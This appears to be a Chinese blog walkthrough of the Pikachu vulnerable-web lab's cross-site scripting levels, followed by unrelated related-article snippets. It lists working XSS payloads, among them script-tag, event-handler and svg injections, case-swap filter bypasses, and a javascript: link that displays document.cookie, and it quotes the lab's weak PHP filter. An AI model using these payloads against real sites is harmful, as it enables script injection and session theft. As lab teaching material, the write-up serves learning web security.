Pikachu XSS(跨站脚本攻击)

文章目录

    • Cross-Site Scripting
      • XSS(跨站脚本)概述
      • 反射型[xss](https://so.csdn.net/so/search?q=xss&spm=1001.2101.3001.7020)(get)
      • 反射型xss(post)
      • 存储型xss
      • DOM型xss
      • DOM型xss-x
      • xss-盲打
      • xss-过滤
      • xss之htmlspecialchars
      • xss之href输出
      • xss之js输出

Cross-Site Scripting

XSS(跨站脚本)概述

​ Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

SS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型xss(get)

image-20230916142811323

修改最大长度为100,写一个弹框操作:

<script>alert(/xss/)</script>

image-20230916143048389

成功执行:

image-20230916143113456

反射型xss(post)

账号admin,密码123456直接登录。

image-20230916143827189

发现没有做限制。

输入POC :

<script>alert(/xss/)</script>

成功执行:

image-20230916143414741

存储型xss

在留言板里直接写入POC:

<script>alert(/xss/)</script>

在这里插入图片描述

出现xss的弹框后,点击确定,发现有个删除,说明确实是存到数据库里了。

image-20230916144900256

查看数据库有没有这两条数据:

image-20230916145131199

这就是存储型反射型永久性和一次性的区别,会永久的存储在数据库中。

发射型XSS与存储型XSS区别:

**反射型XSS:**是非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

存储型XSS: 是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

所以存储型XSS危害面比较广,漏洞提交平台会接收此类漏洞。

DOM型xss

javascript语言中分两种BOMDOM

BOM:浏览器对象模型 Brower Object Model
js代码操作浏览器
DOM:文档对象模型 Document Object Model
js代码操作标签

点击click me!,出现what do you see? ,查看网页源代码,ctrl+f查找what do you see? 的位置:

image-20230916151829485

这段Java script的代码,我们看看是什么意思
首先它使用dom里面的document.getElementById获取到了id=text的值
text 就是下面input 也就是我们输入的内容,。
然后通过dom的操作,将我们输入的内容拼接在了a标签的href属性中
接着a标签会写在id=dom的div标签中
通过分析代码,我们发现我们输入的东西是str,而str又拼接在A标签中,这样的话,我们就有思路了
通过将前面A标签闭合,来构造一个恶意代码

//方式一:
'><img src="#" οnmοuseοver="alert('xss')">//方式二:
'onclick="alert(/xss/)">

说明:

onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

onclick 事件会在元素被点击时发生。

简单来说就是单引号闭合前面那个单引号

尖括号闭合a标签
中间再来一个弹窗

image-20230916153131402

DOM型xss-x

image-20230916154140425

同样是有一段Java script的代码
简单分析一下
它会将URL中传参的内容获取到,然后通过一个url的解码,获取到输入内容并赋值给xss
然后将变量xss写入a标签的href属性中
这样的话,我们的思路和刚刚一样
同样是闭合a标签构造代码

//方式一:
'><img src="#" οnmοuseοver="alert('xss')">//方式二:
'οnclick=“alert(‘xss’)>

image-20230916155012149

xss-盲打

将留言保存至后台 当管理员登录查看留言时就会触发

在页面中两个输入框中都输入<script>alert("ghuii")</script>,提交后没有反应

查看数据库:

image-20230916160120268

也可以点一下提示,让去后台看看,发现登录后台,就会弹框:

image-20230916160322310

xss-过滤

image-20230916170133028

<script>alert(/xss/)</script>
//没有执行弹框操作,不知道过滤了什么//双写
<scscriptript>alert(/xss/)</scscriptript>
//还是没有执行弹框操作//大小写
<Script>alert(/xss/)</sCRIpt>
//成功执行弹框操作

image-20230916170409537

//其他方法:// 1. javascript  伪协议
<a href = javaSCRIPT:alert(/xss/) >click me!</a>
//可行。// 2. 事件响应
<img src = "#" onmouseover = 'alert(/dont touch me!/)'/>
// onmouseover 事件会在鼠标指针移动到指定的元素上时发生。
//可行。   <input type = 'text' onkeydown = 'alert(/xss/)'>
// onkeydown 事件会在用户按下一个键盘按键时发生。
//可行。<input type = 'text' onkeyup = 'alert(/xss/)'>
// onkeyup 事件会在键盘按键被松开时发生。
//可行。// 3. 其他标签
<svg onload='alert(/xss/)'>
// onload 事件会在页面或图像加载完成后立即发生。 
//可行 <input onfocus=alert(/xss/) autofocus>
// onfocus 事件在对象获得焦点时发生。    
//可行。

查看一下源码:

if(isset($_GET['submit']) && $_GET['message'] != null){//这里会使用正则对<script进行替换为空,也就是过滤掉$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);if($message == 'yes'){$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";}else{$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";}}

说明:

​ 代码片段使用了 PHP 中的正则表达式函数 preg_replace() 来替换传入的 $_GET['message'] 变量中包含特定模式的字符串。在这里,它被用于从 $_GET['message'] 的值中删除 <script 这样的字符串。

'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/' 是一个正则表达式模式。它用于匹配类似于 <script 这样的字符串,并且把它们替换为空字符串。双写也会被过滤掉。

xss之htmlspecialchars

输入<script>alert(/xss/)</script> 结果:

image-20230916174308440

查看网页源代码:

image-20230916174420748

specialchars函数就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的。

这里我们知道我们输入的在a标签里面,可以考虑伪协议,已经有现成的a标签,不需要重复写:

javascript:alert("/xss/")

image-20230916175543515

xss之href输出

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

//伪协议
// 1:弹框
javascript:alert("/xss/")// 2:显示当前页面的 Cookie 数据。
javascript:alert(document.cookie)

image-20230916180327806

xss之js输出

image-20230916192314738

先输入tmac :

image-20230916192438132

可以提前闭合</script>

</script><script>alert(/xss/)</script>

image-20230916192926915

image-20230916192818260

也可以' ; alert(/g_h_i/); // , 页面接受到的就是$ms=''; alert(g_h_i);//'

'; alert(/g_h_i/); //

第一步: $ms=‘’'加一个单引号是为了闭合前面的单引号

第二步: $ms=‘’;’ 加分号, 表示语句结束

第三步:$ms=‘’;alert(/xss/);’ 弹框

第四步: $ms=‘’;alert(/xss/);//’ 把//后面的单引号注释掉

image-20230916193934716

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/137214.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端--HTML

文章目录 HTML结构快速生成代码框架HTML常见标签 表格标签 编写简历信息 填写简历信息 Emmet 快捷键 HTML 特殊字符 一、HTML结构 1.认识HTML标签 HTML 代码是由 "标签" 构成的. 形如: <body>hello</body> 标签名 (body) 放到 < > 中 大部分标…

华为手机如何开启设置健康使用手机模式限制孩子玩手机时间?

华为手机如何开启设置健康使用手机模式限制孩子玩手机时间&#xff1f; 1、在手机上找到「设置」并点击打开&#xff1b; 2、在设置内找到「健康使用手机」并点击进入&#xff1b; 3、开启健康使用手机后&#xff0c;选择孩子使用&#xff1b; 4、在健康使用手机内&#xff0c…

使用Arduino简单测试HC-08蓝牙模块

目录 模块简介模块测试接线代码测试现象 总结 模块简介 HC-08 蓝牙串口通信模块是新一代的基于 Bluetooth Specification V4.0 BLE 蓝牙协议的数传模块。无线工作频段为 2.4GHz ISM&#xff0c;调制方式是 GFSK。模块最大发射功率为4dBm&#xff0c;接收灵度-93dBm&#xff0c…

SpringSecurity 核心过滤器——SecurityContextPersistenceFilter

文章目录 前言过滤器介绍用户信息的存储获取用户信息存储用户信息获取用户信息 处理逻辑总结 前言 SecurityContextHolder&#xff0c;这个是一个非常基础的对象&#xff0c;存储了当前应用的上下文SecurityContext&#xff0c;而在SecurityContext可以获取Authentication对象…

基于SSM+Vue的乐购游戏商城系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用Vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

沈阳建筑大学《乡村振兴战略下传统村落文化旅游设计》 许少辉八一著作

沈阳建筑大学《乡村振兴战略下传统村落文化旅游设计》 许少辉八一著作

playwright的安装与使用

一、安装 所有安装严格按照指定版本&#xff0c;不然可能会报错&#xff0c;为啥报错我也不知道 1、准备环境 win10&#xff08;playwright好像不支持win7 python2&#xff09; 2、 安装python3.7.9&#xff08;这个是为了兼容robot&#xff09; https://www.python.org/do…

数学建模__非线性规划Python实现

使用到的是scipy库 线性规划指的是目标模型均为线性&#xff0c;除此以外的都是非线性规划&#xff0c;使用scipy提供的方法对该类问题进行求解。 from scipy.optimize import minimize import numpy as np#定义目标函数 def fun(args):a,b,c,d argsv lambda x: (ax[0])/ (b…

SpringMVC的拦截器和JSR303的使用

目录 一、JSR303 二、拦截器&#xff08;interceptor&#xff09; 一、JSR303 1.1.什么是JSR303 JSR 303&#xff0c;它是Java EE&#xff08;现在称为Jakarta EE&#xff09;规范中的一部分。JSR 303定义了一种用于验证Java对象的标准规范&#xff0c;也称为Bean验证。 Bean验…

mybatis-plus异常:dynamic-datasource can not find primary datasource

现象 使用mybatis-plus多数据源配置时出现异常 com.baomidou.dynamic.datasource.exception.CannotFindDataSourceException: dynamic-datasource can not find primary datasource分析 异常原因是没有设置默认数据源&#xff0c;在类上没有使用DS指定数据源时&#xff0c;默…

Jenkins自动化:简化部署流程

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

ad18学习笔记十二:如何把同属性的元器件全部高亮?

1、先选择需要修改的器件的其中一个。 2、右键find similar objects&#xff0c;然后在弹出的对话框中&#xff0c;将要修改的属性后的any改为same 3、像这样勾选的话&#xff0c;能把同属性的元器件选中&#xff0c;其他器件颜色不变 注意了&#xff0c;如果这个时候&#xff…

拓扑关系如何管理?

在设备对接涂鸦的云端过程中&#xff0c;一部分设备由于自身资源或硬件配置&#xff0c;无法直接连接云端。而是需要通过网关进行中转&#xff0c;由网关代理实现和云端进行数据交互&#xff0c;间接实现设备接入云端。这样的设备也称为子设备。 要想实现网关代理子设备接入云…

1.简单工厂模式

UML类图 代码 main.cpp #include <iostream> #include "OperationFactory.h" using namespace std;int main(void) {float num1;float num2;char operate;cin >> num1 >> num2 >> operate;Operation* oper OperationFactory::createOpera…

【LQR】离散代数黎卡提方程的求解,附Matlab/python代码(笔记)

LQR的核心是设计QRN&#xff0c;并求解对应的黎卡提方程 对于连续状态空间方程系统&#xff0c;先求连续LQR后离散 和 先离散后求离散LQR方程 的结果 是不一样的 1.离散代数黎卡提方程 注&#xff1a;LQR算法中含N项 离散系统&#xff1a; 在matlab里有现成的函数dlqr()&…

GLTF编辑器如何快速重置模型原点

1、什么是模型原点&#xff1f; 模型原点是三维建模中的概念&#xff0c;它是指在一个虚拟三维空间中确定的参考点。模型原点通常位于模型的几何中心或基本组件的中心位置。如图所示&#xff1a; 可以看到模型的原点在模型的几何中心 2、模型原点的作用 知道了什么是模型原点&…

本地项目上传至码云gitee

1、springboot-mgx是需要上传的项目 2、码云后台创建一个新的仓库 3、创建完成后&#xff0c;复制下来https链接&#xff0c;后面要用到。 4、进入项目要上传的文件中 5、对git进行初始化&#xff0c;git指令 git init 6、 上传项目至gitee &#xff08;1&#xff09;连接远…

windows系统安装python教程,以及PyCharm安装,新手入门详细

最近需要给新电脑安装python&#xff0c;记录一下安装过程。 到python的官网进行下载&#xff1a;https://www.python.org/ 选择下载的系统&#xff0c;这边是Windows 然后选择最新的Release版本&#xff0c;点进去 然后滑到最下边&#xff0c;选择适合自己系统的&#xff0c;…

ReactNative中升级IOS 17版本Crash解决

ReactNative中升级IOS 17版本Crash解决 ReactNative中升级IOS 17版本Crash解决一、问题描述二、原因分析三、解决方案决策3.1 设置宽高为非零值3.2 使用新的UIGraphicsImageRenderer替换就版本的UIGraphicsBeginImageContext 四、可能使用到该API的三方库4.1 react-native-fast…

【智慧工地源码】智慧工地助力数字建造、智慧建造、安全建造、绿色建造

智慧工地围绕建设过程管理&#xff0c;建设项目与智能生产、科学管理建设项目信息生态系统集成在一起&#xff0c;该数据在虚拟现实环境中&#xff0c;将物联网收集的工程信息用于数据挖掘和分析&#xff0c;提供过程趋势预测和专家计划&#xff0c;实现工程建设的智能化管理&a…